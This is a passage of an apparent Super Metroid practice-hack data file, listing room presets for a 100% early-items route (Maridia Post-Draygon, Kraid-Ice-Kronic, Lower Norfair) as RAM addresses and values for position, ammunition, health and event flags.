Doors dw #$FFFF .after preset_100early_maridia_postdraygon_pants_room: dw #preset_100early_maridia_postdraygon_east_sand_pit ; Maridia Post-Draygon: East Sand Pit dl $7E078D : db $02 : dw $A6CC ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D4C2 ; MDB dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $007D ; Missiles dl $7E09C8 : db $02 : dw $0096 ; Max missiles dl $7E09CE : db $02 : dw $0012 ; Pbs dl $7E09D0 : db $02 : dw $0023 ; Max pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02B3 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED882 : db $02 : dw $048C ; Events, Items, Doors dl $7ED91A : db $02 : dw $007E ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_shaktool: dw #preset_100early_maridia_postdraygon_pants_room ; Maridia Post-Draygon: Pants Room dl $7E078D : db $02 : dw $A690 ; DDB dl $7E079B : db $02 : dw $D646 ; MDB dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0249 ; Health dl $7E0AF6 : db $02 : dw $01BC ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dw #$FFFF .after preset_100early_maridia_postdraygon_shaktool_revisit: dw #preset_100early_maridia_postdraygon_shaktool ; Maridia Post-Draygon: Shaktool dl $7E078D : db $02 : dw $A8D0 ; DDB dl $7E079B : db $02 : dw $D6D0 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $83FF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0005 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $7327 ; Equipped Items dl $7E09A4 : db $02 : dw $7327 ; Collected Items dl $7E09C2 : db $02 : dw $022B ; Health dl $7E09CE : db $02 : dw $0011 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0077 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED820 : db $02 : dw $2801 ; Events, Items, Doors dl $7ED882 : db $02 : dw $04CC ; Events, Items, Doors dl $7ED91A : db $02 : dw $007F ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_east_sand_hall: dw #preset_100early_maridia_postdraygon_shaktool_revisit ; Maridia Post-Draygon: Shaktool Revisit dl $7E078D : db $02 : dw $A7B0 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $D646 ; MDB dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $020D ; Health dl $7E0AF6 : db $02 : dw $003A ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dw #$FFFF .after preset_100early_maridia_postdraygon_plasma_spark_room: dw #preset_100early_maridia_postdraygon_east_sand_hall ; Maridia Post-Draygon: East Sand Hall dl $7E078D : db $02 : dw $A684 ; DDB dl $7E079B : db $02 : dw $D48E ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $F000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0014 ; Supers dl $7E0AF6 : db $02 : dw $009A ; Samus X dl $7E0AFA : db $02 : dw $006B ; Samus Y dl $7ED8C2 : db $02 : dw $CC20 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_kassiuz_room: dw #preset_100early_maridia_postdraygon_plasma_spark_room ; Maridia Post-Draygon: Plasma Spark Room dl $7E078D : db $02 : dw $A60C ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D340 ; MDB dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $00F6 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $01F9 ; Health dl $7E09C6 : db $02 : dw $007F ; Missiles dl $7E09CA : db $02 : dw $0015 ; Supers dl $7E09CE : db $02 : dw $0012 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0299 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED8C2 : db $02 : dw $CC28 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_plasma: dw #preset_100early_maridia_postdraygon_kassiuz_room ; Maridia Post-Draygon: Kassiuz Room dl $7E078D : db $02 : dw $A5DC ; DDB dl $7E079B : db $02 : dw $D27E ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $C001 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_maridia_postdraygon_leaving_plasma: dw #preset_100early_maridia_postdraygon_plasma ; Maridia Post-Draygon: Plasma dl $7E078D : db $02 : dw $A54C ; DDB dl $7E079B : db $02 : dw $D2AA ; MDB dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels dl $7E09A6 : db $02 : dw $1009 ; Beams dl $7E09A8 : db $02 : dw $100D ; Beams dl $7E09C2 : db $02 : dw $01DB ; Health dl $7E09CE : db $02 : dw $0011 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $002D ; Samus X dl $7ED880 : db $02 : dw $FFFF ; Events, Items, Doors dl $7ED8C2 : db $02 : dw $CC2A ; Events, Items, Doors dl $7ED91A : db $02 : dw $0080 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_leaving_kassiuz: dw #preset_100early_maridia_postdraygon_leaving_plasma ; Maridia Post-Draygon: Leaving Plasma dl $7E078D : db $02 : dw $A540 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $D387 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0915 : db $02 : dw $0319 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dw #$FFFF .after preset_100early_maridia_postdraygon_cac_alley: dw #preset_100early_maridia_postdraygon_leaving_kassiuz ; Maridia Post-Draygon: Leaving Kassiuz dl $7E078D : db $02 : dw $A5A0 ; DDB dl $7E079B : db $02 : dw $D5EC ; MDB dl $7E07C3 : db $02 : dw $E78D ; GFX Pointers dl $7E07C5 : db $02 : dw $2EBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B9 ; GFX Pointers dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $6C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0089 ; Samus position/state dl $7E0A1E : db $02 : dw $1508 ; More position/state dl $7E0AF6 : db $02 : dw $00DB ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dw #$FFFF .after preset_100early_maridia_postdraygon_botwoon_etank: dw #preset_100early_maridia_postdraygon_cac_alley ; Maridia Post-Draygon: Cac Alley dl $7E078D : db $02 : dw $A960 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D913 ; MDB dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $01E0 ; Health dl $7E09CA : db $02 : dw $0016 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $008E ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8C2 : db $02 : dw $CCAA ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_aqueduct_final: dw #preset_100early_maridia_postdraygon_botwoon_etank ; Maridia Post-Draygon: Botwoon E-Tank dl $7E078D : db $02 : dw $A8AC ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $D6FD ; MDB dl $7E090F : db $02 : dw $2900 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $012F ; Screen X position in pixels dl $7E0913 : db $02 : dw $EC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $04A0 ; Health dl $7E09C4 : db $02 : dw $04AF ; Max helath dl $7E0AF6 : db $02 : dw $01AA ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED882 : db $02 : dw $05CC ; Events, Items, Doors dl $7ED91A : db $02 : dw $0081 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_west_sand_pit: dw #preset_100early_maridia_postdraygon_aqueduct_final ; Maridia Post-Draygon: Aqueduct Final dl $7E078D : db $02 : dw $A7D4 ; DDB dl $7E079B : db $02 : dw $D5A7 ; MDB dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $04A5 ; Health dl $7E09C6 : db $02 : dw $0084 ; Missiles dl $7E09C8 : db $02 : dw $009B ; Max missiles dl $7E09CA : db $02 : dw $001B ; Supers dl $7E09CC : db $02 : dw $0028 ; Max supers dl $7E0AF6 : db $02 : dw $05DB ; Samus X dl $7E0AFA : db $02 : dw $02CB ; Samus Y dl $7ED882 : db $02 : dw $05FC ; Events, Items, Doors dl $7ED91A : db $02 : dw $0083 ; Events, Items, Doors dw #$FFFF .after preset_100early_maridia_postdraygon_thread_the_needle: dw #preset_100early_maridia_postdraygon_west_sand_pit ; Maridia Post-Draygon: West Sand Pit dl $7E078D : db $02 : dw $A528 ; DDB dl $7E079B : db $02 : dw $D21C ; MDB dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $00FF ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $047D ; Health dl $7E09C6 : db $02 : dw $0089 ; Missiles dl $7E09C8 : db $02 : dw $00A0 ; Max missiles dl $7E09CE : db $02 : dw $0013 ; Pbs dl $7E09D4 : db $02 : dw $012C ; Max reserves dl $7E0AF6 : db $02 : dw $002F ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED882 : db $02 : dw $05FF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0085 ; Events, Items, Doors dw #$FFFF .after preset_100early_kraidicekronic_kraid_entrance_revisit: dw #preset_100early_maridia_postdraygon_thread_the_needle ; Maridia Post-Draygon: Thread the Needle dl $7E078D : db $02 : dw $A510 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CF80 ; MDB dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E090F : db $02 : dw $A001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09CA : db $02 : dw $001A ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $005B ; Samus X dw #$FFFF .after preset_100early_kraidicekronic_kraid_missiles: dw #preset_100early_kraidicekronic_kraid_entrance_revisit ; Kraid-Ice-Kronic: Kraid Entrance Revisit dl $7E078D : db $02 : dw $923A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A471 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5C00 ; Screen subpixel Y position dl $7E09CE : db $02 : dw $0012 ; Pbs dl $7E0AF6 : db $02 : dw $016C ; Samus X dw #$FFFF .after preset_100early_kraidicekronic_kraid_missiles_escape: dw #preset_100early_kraidicekronic_kraid_missiles ; Kraid-Ice-Kronic: Kraid Missiles dl $7E078D : db $02 : dw $9156 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $A4DA ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $01BB ; Screen X position in pixels dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $008E ; Missiles dl $7E09C8 : db $02 : dw $00A5 ; Max missiles dl $7E09CE : db $02 : dw $0011 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0250 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED874 : db $02 : dw $1F8E ; Events, Items, Doors dl $7ED91A : db $02 : dw $0086 ; Events, Items, Doors dw #$FFFF .after preset_100early_kraidicekronic_ice_beam_gate_room: dw #preset_100early_kraidicekronic_kraid_missiles_escape ; Kraid-Ice-Kronic: Kraid Missiles Escape dl $7E078D : db $02 : dw $9246 ; DDB dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E079B : db $02 : dw $A7DE ; MDB dl $7E079F : db $02 : dw $0002 ; Region dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E07F3 : db $02 : dw $0015 ; Music Bank dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0321 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0092 ; Missiles dl $7E09CA : db $02 : dw $0018 ; Supers dl $7E09CE : db $02 : dw $0010 ; Pbs dl $7E0AF6 : db $02 : dw $002E ; Samus X dl $7E0AFA : db $02 : dw $0393 ; Samus Y dl $7ED8B8 : db $02 : dw $EEEF ; Events, Items, Doors dw #$FFFF .after preset_100early_kraidicekronic_ice_beam_snake_room: dw #preset_100early_kraidicekronic_ice_beam_gate_room ; Kraid-Ice-Kronic: Ice Beam Gate Room dl $7E078D : db $02 : dw $931E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A75D ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $7000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $0035 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_kraidicekronic_snake_room_revisit: dw #preset_100early_kraidicekronic_ice_beam_snake_room ; Kraid-Ice-Kronic: Ice Beam Snake Room dl $7E078D : db $02 : dw $937E ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $A890 ; MDB dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E09A6 : db $02 : dw $100B ; Beams dl $7E09A8 : db $02 : dw $100F ; Beams dl $7E09C2 : db $02 : dw $0478 ; Health dl $7E09CA : db $02 : dw $0019 ; Supers dl $7E0AF6 : db $02 : dw $00BA ; Samus X dl $7ED876 : db $02 : dw $1FF7 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0087 ; Events, Items, Doors dw #$FFFF .after preset_100early_kraidicekronic_ice_escape: dw #preset_100early_kraidicekronic_snake_room_revisit ; Kraid-Ice-Kronic: Snake Room Revisit dl $7E078D : db $02 : dw $935A ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A8B9 ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $2001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $9000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00C7 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dw #$FFFF .after preset_100early_kraidicekronic_crumble_shaft_missiles: dw #preset_100early_kraidicekronic_ice_escape ; Kraid-Ice-Kronic: Ice Escape dl $7E078D : db $02 : dw $9276 ; DDB dl $7E079B : db $02 : dw $A815 ; MDB dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0284 ; Screen X position in pixels dl $7E0913 : db $02 : dw $D000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $000F ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0324 ; Samus X dl $7E0AFA : db $02 : dw $03B3 ; Samus Y dw #$FFFF .after preset_100early_kraidicekronic_crocomire_speedway: dw #preset_100early_kraidicekronic_crumble_shaft_missiles ; Kraid-Ice-Kronic: Crumble Shaft Missiles dl $7E078D : db $02 : dw $9336 ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $A8F8 ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E090F : db $02 : dw $7FFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $3000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0479 ; Health dl $7E09C6 : db $02 : dw $0097 ; Missiles dl $7E09C8 : db $02 : dw $00AA ; Max missiles dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00DD ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED876 : db $02 : dw $1FFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0088 ; Events, Items, Doors dw #$FFFF .after preset_100early_kraidicekronic_kronic_boost: dw #preset_100early_kraidicekronic_crocomire_speedway ; Kraid-Ice-Kronic: Crocomire Speedway dl $7E078D : db $02 : dw $9792 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $AFFB ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $03C3 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_lower_norfair_ln_main_hall: dw #preset_100early_kraidicekronic_kronic_boost ; Kraid-Ice-Kronic: Kronic Boost dl $7E078D : db $02 : dw $96F6 ; DDB dl $7E079B : db $02 : dw $B236 ; MDB dl $7E07F3 : db $02 : dw $0018 ; Music Bank dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0476 ; Health dl $7E09CE : db $02 : dw $000E ; Pbs dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0480 ; Samus X dl $7E0AFA : db $02 : dw $0288 ; Samus Y dl $7ED8BA : db $02 : dw $01F7 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_golden_torizo: dw #preset_100early_lower_norfair_ln_main_hall ; Lower Norfair: LN Main Hall dl $7E078D : db $02 : dw $9852 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $B1E5 ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0449 ; Health dl $7E09CE : db $02 : dw $000C ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02B2 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED820 : db $02 : dw $3801 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_leaving_golden_torizo: dw #preset_100early_lower_norfair_golden_torizo ; Lower Norfair: Golden Torizo dl $7E078D : db $02 : dw $983A ; DDB dl $7E079B : db $02 : dw $B283 ; MDB dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $B001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $009C ; Missiles dl $7E09C8 : db $02 : dw $00AF ; Max missiles dl $7E09CA : db $02 : dw $001E ; Supers dl $7E09CC : db $02 : dw $002D ; Max supers dl $7E09CE : db $02 : dw $000B ; Pbs dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED82A : db $02 : dw $0106 ; Events, Items, Doors dl $7ED878 : db $02 : dw $00DE ; Events, Items, Doors dl $7ED91A : db $02 : dw $008A ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_fast_ripper_room: dw #preset_100early_lower_norfair_leaving_golden_torizo ; Lower Norfair: Leaving Golden Torizo dl $7E078D : db $02 : dw $9882 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $B6C1 ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $000B ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $732F ; Equipped Items dl $7E09A4 : db $02 : dw $732F ; Collected Items dl $7E0AF6 : db $02 : dw $0091 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED878 : db $02 : dw $80DE ; Events, Items, Doors dl $7ED8BA : db $02 : dw $03F7 ; Events, Items, Doors dl $7ED91A : db $02 : dw $008B ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_worst_room_in_the_game: dw #preset_100early_lower_norfair_fast_ripper_room ; Lower Norfair: Fast Ripper Room dl $7E078D : db $02 : dw $9912 ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $B457 ; MDB dl $7E07F3 : db $02 : dw $0018 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03FD ; Health dl $7E09CA : db $02 : dw $001D ; Supers dl $7E0AF6 : db $02 : dw $03DB ; Samus X dw #$FFFF .after preset_100early_lower_norfair_mickey_mouse_missiles: dw #preset_100early_lower_norfair_worst_room_in_the_game ; Lower Norfair: Worst Room in the Game dl $7E078D : db $02 : dw $994E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $B4AD ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0103 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0411 ; Health dl $7E0AF6 : db $02 : dw $0071 ; Samus X dl $7E0AFA : db $02 : dw $017B ; Samus Y dw #$FFFF .after preset_100early_lower_norfair_amphitheatre: dw #preset_100early_lower_norfair_mickey_mouse_missiles ; Lower Norfair: Mickey Mouse Missiles dl $7E078D : db $02 : dw $9936 ; DDB dl $7E090F : db $02 : dw $0001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $011D ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $00A1 ; Missiles dl $7E09C8 : db $02 : dw $00B4 ; Max missiles dl $7E0AF6 : db $02 : dw $00AB ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED878 : db $02 : dw $82DE ; Events, Items, Doors dl $7ED91A : db $02 : dw $008C ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_red_kihunter_shaft: dw #preset_100early_lower_norfair_amphitheatre ; Lower Norfair: Amphitheatre dl $7E078D : db $02 : dw $997E ; DDB dl $7E079B : db $02 : dw $B4E5 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0270 ; Screen X position in pixels dl $7E0913 : db $02 : dw $F000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0031 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $02D0 ; Samus X dl $7E0AFA : db $02 : dw $00BB ; Samus Y dw #$FFFF .after preset_100early_lower_norfair_ninja_pirates: dw #preset_100early_lower_norfair_red_kihunter_shaft ; Lower Norfair: Red Kihunter Shaft dl $7E078D : db $02 : dw $99EA ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $B5D5 ; MDB dl $7E090F : db $02 : dw $4FFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $03D8 ; Health dl $7E09C6 : db $02 : dw $00A3 ; Missiles dl $7E09CA : db $02 : dw $001C ; Supers dl $7E09CE : db $02 : dw $000D ; Pbs dl $7E09D0 : db $02 : dw $0028 ; Max pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0163 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED878 : db $02 : dw $92DE ; Events, Items, Doors dl $7ED8BA : db $02 : dw $C3F7 ; Events, Items, Doors dl $7ED91A : db $02 : dw $008D ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_plowerhouse_room: dw #preset_100early_lower_norfair_ninja_pirates ; Lower Norfair: Ninja Pirates dl $7E078D : db $02 : dw $9A1A ; DDB dl $7E079B : db $02 : dw $B62B 